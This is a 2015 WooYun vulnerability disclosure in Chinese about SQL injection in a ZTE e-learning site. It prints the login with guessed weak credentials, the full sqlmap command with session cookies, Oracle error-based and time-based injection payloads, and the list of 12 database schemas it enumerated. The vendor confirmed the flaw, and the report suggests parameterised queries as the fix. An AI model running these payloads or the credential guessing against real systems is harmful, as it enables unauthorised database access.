当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0108327

漏洞标题:中兴学院某处sql注射漏洞涉及12个库

相关厂商:中兴通讯股份有限公司

漏洞作者: 路人甲

提交时间:2015-04-19 11:18

修复时间:2015-06-04 09:10

公开时间:2015-06-04 09:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-19: 细节已通知厂商并且等待厂商处理中
2015-04-20: 厂商已经确认,细节仅向厂商公开
2015-04-30: 细节向核心白帽子及相关领域专家公开
2015-05-10: 细节向普通白帽子公开
2015-05-20: 细节向实习白帽子公开
2015-06-04: 细节向公众公开

简要描述:

随手进去的,手贱``

详细说明:

话说,某年某月某天,无意中看到中兴还有个学院,外围看了下,没找到漏洞,发现要登入BTW,不给注册,哥郁闷咧, 于是,随手一填: 账号: 123456 密码:123456
耶,居然进去了耶。 好了,那就随手找个漏洞吧。
url:
http://elearning1.zte.com.cn/DistanceLearning/Application/CourseCenter/CourseBasicInfo.aspx?FromSource=20&CourseNo=55522&ApprovalFlag=&RedictToOtherCourse=false
直接甩sqlmap 看看:
python sqlmap.py -u"http://elearning1.zte.com.cn/DistanceLearning/Application/CourseCenter/CourseBasicInfo.aspx?FromSource=20&CourseNo=55522&ApprovalFlag=&RedictToOtherCourse=false" --dbms=oracle --current-user --cookie="_ga=GA1.3.645568543.1427683216; Hm_lvt_98a7f1bca4c6826d3079a7ea36f95f30=1427683216; Hm_lpvt_98a7f1bca4c6826d3079a7ea36f95f30=1427683234; ztesupportlang=en; ASP.NET_SessionId=1mzatg2v12lte43yaizpv2uu; ztewebstat=123456" -p CourseNo --dbs
结果:
---
Parameter: CourseNo (GET)
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: FromSource=20&CourseNo=55522 AND 1929=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106)||CHR(118)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (1929=1929) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(113)||CHR(120)||CHR(113)||CHR(113)||CHR(62))) FROM DUAL)&ApprovalFlag=&RedictToOtherCourse=false
Type: AND/OR time-based blind
Title: Oracle AND time-based blind (heavy query)
Payload: FromSource=20&CourseNo=55522 AND 5174=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)&ApprovalFlag=&RedictToOtherCourse=false
---
[12:21:54] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Oracle
[12:21:54] [INFO] fetching current user
[12:21:54] [INFO] resumed: ELEARNING
current user: 'ELEARNING'
[12:21:54] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[12:21:54] [INFO] fetching database (schema) names
[12:21:55] [INFO] the SQL query used returns 12 entries
[12:21:55] [INFO] retrieved: CTXSYS
[12:21:56] [INFO] retrieved: ELEARNING
[12:21:57] [INFO] retrieved: EMPTRAIN
[12:21:58] [INFO] retrieved: EUNIV
[12:22:00] [INFO] retrieved: EVALCENTER
[12:22:00] [INFO] retrieved: EXFSYS
[12:22:01] [INFO] retrieved: MDSYS
[12:22:02] [INFO] retrieved: OLAPSYS
[12:22:02] [INFO] retrieved: SYS
[12:22:03] [INFO] retrieved: SYSTEM
[12:22:05] [INFO] retrieved: XSEXAM
[12:22:06] [INFO] retrieved: ZTETRAIN
available databases [12]:
[*] CTXSYS
[*] ELEARNING
[*] EMPTRAIN
[*] EUNIV
[*] EVALCENTER
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] SYS
[*] SYSTEM
[*] XSEXAM
[*] ZTETRAIN

zx.png


漏洞证明:

zx.png


修复方案:

过滤,不拼接sql ,使用安全函数

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-04-20 09:09

厂商回复:

感谢~

最新状态:

暂无